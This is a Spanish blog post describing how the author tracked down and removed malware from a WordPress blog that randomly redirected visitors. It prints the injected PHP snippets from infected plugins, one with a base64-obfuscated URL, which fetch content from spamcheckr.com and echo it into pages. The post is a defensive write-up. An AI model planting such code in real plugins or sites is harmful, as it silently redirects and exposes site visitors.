Seguramente en las últimas semanas, cuando has accedido a este blog, habrás notado que, en ocasiones, tras unos segundos de carga la URL cambiaba al vídeo Justin Bieber Trips Over While Playing Basketball with Scooter Braun.

Malware en mi WordPress

© Gunnar Assmy – Fotolia.com

Malware en mi WordPress

El hecho de que no ocurriera siempre y que fuera cambiando la URL convertía el problema en algo aleatorio; gracias al plugin de caché que mantenía la redirección durante unas horas pude analizar las páginas y en todas se había añadido las siguiente etiqueta META:

<meta http-equiv=»refresh» content=»0; url=http://www.youtube.com/watch?v=RFngSCaY5nA»/>

Buscando en Internet la solución al problema, todas las páginas en las que se hablaba del problema me remitían a las respuestas a la pregunta dejada a la comunidad de stackoverflowWordPress blog infected with HTML Refresh meta tag.

La solución estaba en buscar el link, http://spamcheckr.com/l.php, que oculta el acceso al vídeo.

Me descargué los archivos de mi blog y la base de datos a mi ordenador y ejecuté desde la línea de comandos:

findstr /s /i /p «http://spamcheckr.com/l.php» /directorio_blog

y

findstr /s /i /p «RFngSCaY5nA» /directorio_blog

(siendo /directorio_blog el directorio con los archivos a analizar).

No encontré nada por lo que seguí buscando.

Fileseek

Gracias a How to solve redirection to Justin Beiber Video in WordPress ?, descubrí la herramienta Fileseek, una herramienta, que puedes probar gratuitamente durante 30 días, con la que las búsquedas en los archivos se realiza de manera más cómoda que con findstr, al ser una aplicación Windows.

Buscando «http://spamcheckr.com/l.php» no obtuve ningún resultado y buscando «RFngSCaY5nA» lo encontré en 25 ocasiones; pero sólo en archivos del plugin de caché.

Aunque borré el caché y desactivé el plugin WP Super Cache se seguían produciendo las redirecciones.

Localizo el código del Malware

En stackoverflow había leído que http://spamcheckr.com/l.php aparecía en el código:

if (!isset($_COOKIE[‘wordpress_test_cookie’])){ if (mt_rand(1,20) == 1) {function secqqc2_chesk() {if(function_exists(‘curl_init’)){$addressd = «http://spamcheckr.com/l.php»;$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo «$data»;}}add_action(‘wp_head’,’secqqc2_chesk’);}}

Examinando el código se me ocurre realizar una búsqueda de «wordpress_test_cookie» con Fileseek, obteniendo dos resultados en sendos plugins con el siguiente código:

<?php if (!isset($_COOKIE[‘wordpress_test_cookie’])){ if (mt_rand(1,20) == 1) {function secqc2_chesk() {if(function_exists(‘curl_init’)) {$addressd=base64_decode(«c3BhbWNoZWNrci5jb20vY2hlY2sucGhw»);$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo «$data»;}}add_action(‘wp_head’,’secqc2_chesk’);}}?>

Siendo consciente que había localizado el Malware, codificado en base 64, busqué en Internet «c3BhbWNoZWNrci5jb20vY2hlY2sucGhw«, llegando a este foro donde explican que equivale a spamcheckr.com/check.php, enlace que te dirige al vídeo de Justin Bieber, o como se puede leer en Unmasking “Free” Premium WordPress Plugins, en ocasiones a adf.ly y adwat.ch.

El código malicioso sólo se ejecuta cuando la función mt_rand(1,20), que genera un número aleatorio entre 1 y 20, vale 1.

Resumen

El código que he estado buscando durante semanas, se presenta de tres formas distintas:

  • http://spamcheckr.com/l.php
  • http://spamcheckr.com/check.php
  • En base 64: c3BhbWNoZWNrci5jb20vY2hlY2sucGhw

sólo se ejecuta una de cada 20 páginas vistas y produce al menos una de estas tres redirecciones:

  • vídeo de Justin Bieber
  • adf.ly
  • adwat.ch

 

He tenido que leer varios artículos y realizar bastantes pruebas para poder localizar y eliminar el código malicioso de mi blog WordPress.

 

Utilizando el Repositorio Oficial de Plugins WordPress evitaremos descargarnos plugins a los que se les haya añadido código malicioso. Si buscamos un plugin y no está en el repositorio, tendremos que buscarlo en un sitio de confianza. No hay que olvidar que un plugin con malware puede dar acceso completo a nuestro blog.

 

¿Has tenido problemas de Malware en tu blog?,  me gustaría que respondieras en los comentarios de esta entrada y me dijeras cómo lo eliminaste.

 

Si te ha gustado este artículo, compártelo en tus redes sociales. Si quieres recibir los próximos artículos suscríbete a este blog.

 

Shares
Share This